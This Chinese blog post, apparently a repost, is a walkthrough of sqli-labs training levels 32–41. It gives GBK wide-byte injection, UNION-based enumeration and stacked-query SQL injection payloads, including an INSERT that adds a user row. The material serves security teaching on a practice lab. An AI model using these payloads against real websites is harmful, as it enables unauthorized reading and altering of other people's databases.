当前位置: 首页> 汽车> 车展 > 以sqlilabs靶场为例,讲解SQL注入攻击原理【32-41关】

以sqlilabs靶场为例,讲解SQL注入攻击原理【32-41关】

时间:2025/7/18 12:02:48来源:https://blog.csdn.net/weixin_42515203/article/details/139403842 浏览次数: 0次

【Less-32】

尝试使用各种注入发现无论是单引号还是双引号都被\转义成了字符串,导致SQL无法注入。

解决方案:宽字节注入。原理:利用数据库和页面编码不同的问题,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,数据库处理的时候是根据GBK去处理的,这样就能实现SQL注入。

第一步获取数据库名:

# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

第二步:获取数据表名

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa

第三步:获取数据表的字段

其中的数据表名因为用引号,所以直接用%df会报错,可以将数据表名转换为十六进制(0x)后使用

# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

结果为:

【Less-33】

源码分析:

故两题的解法是一模一样的,具体如下:

#判断字段数量
?id=1%df' order by 3-- aaa# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-34】

尝试输入万能账户 : ' or 1=1 -- aaa

分析得知,和上一题类似,被反斜杠转义了,使用%df尝试逃逸出引号。

此时发现%df对于post方式无效,因为%df是url编码,在输入框中输入%df会被当作普通的字符,此时尝试用一些汉字代替,因为有些汉字的编码(比如 汉)为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和相编码为一个两字节绕过,从而单引号逃逸。

解决方案:

#判断字段数量
汉' order by 2 -- aaa# 获取数据库名
汉' union select 1,database() -- aaa# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-35】

Get方式,修改url尝试使用单引号、双引号、括号加单双引号SQL注入。

可以得出添加的单引号被反斜杠转义了,尝试用%df,依旧报错。

此时再来尝试去除引号,直接添加SQL语句,执行,发现是可行的。说明没有闭合,SQL语句在后面直接可以执行。

解决方案:

#判断字段数量
?id=1 order by 3# 获取数据库名
?id=-1 union select 1,2,database() # 获取数据表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 获取数据表字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 

【Less-36】

源码分析:

解题过程和Less-33一样,原理还是反斜杠转义了,只需要添加%df 即刻解决。

#判断字段数量
?id=1%df' order by 3-- aaa# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-37】

通过测试,和Less-34的注入方法相同,使用汉字来实现SQL注入,解题步骤如下:

#判断字段数量
汉' order by 2 -- aaa# 获取数据库名
汉' union select 1,database() -- aaa# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-38】

源码分析:

mysqli_multi_query()方法可以同时执行多个用分号隔开的SQL语句,容易导致堆叠注入。

可以在后面用分号隔开,实现往数据库中插入数据

?id=1';insert users(username,password)values('test','test') -- aa

数据插入:

解题步骤:

#判断字段数量
?id=1' order by 3 -- aaa# 获取数据库名
?id=-1'union select 1,2,database() -- aaa# 获取数据表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据表字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-39】

和上一题一样,只是没有引号闭合,直接注入。

可以在url中使用insert into 往数据库中添加数据。

解题步骤:

#判断字段数量
?id=1 order by 3 # 获取数据库名,不再使用union
?id=-1 union select 1,2,database() # 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'

【Less-40】

与上面两题类似,只是闭合的形式变成了 ')。

 解题步骤:

#判断字段数量
?id=1') order by 3 -- aaa# 获取数据库名,不再使用union
?id=-1') union select 1,2,database() -- aaa# 获取数据表名
?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据表字段
?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-41】

和Less-39一样,没有引号,直接注入。

解题步骤:

#判断字段数量
?id=1 order by 3 # 获取数据库名,不再使用union
?id=-1 union select 1,2,database() # 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'

关键字:以sqlilabs靶场为例,讲解SQL注入攻击原理【32-41关】

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: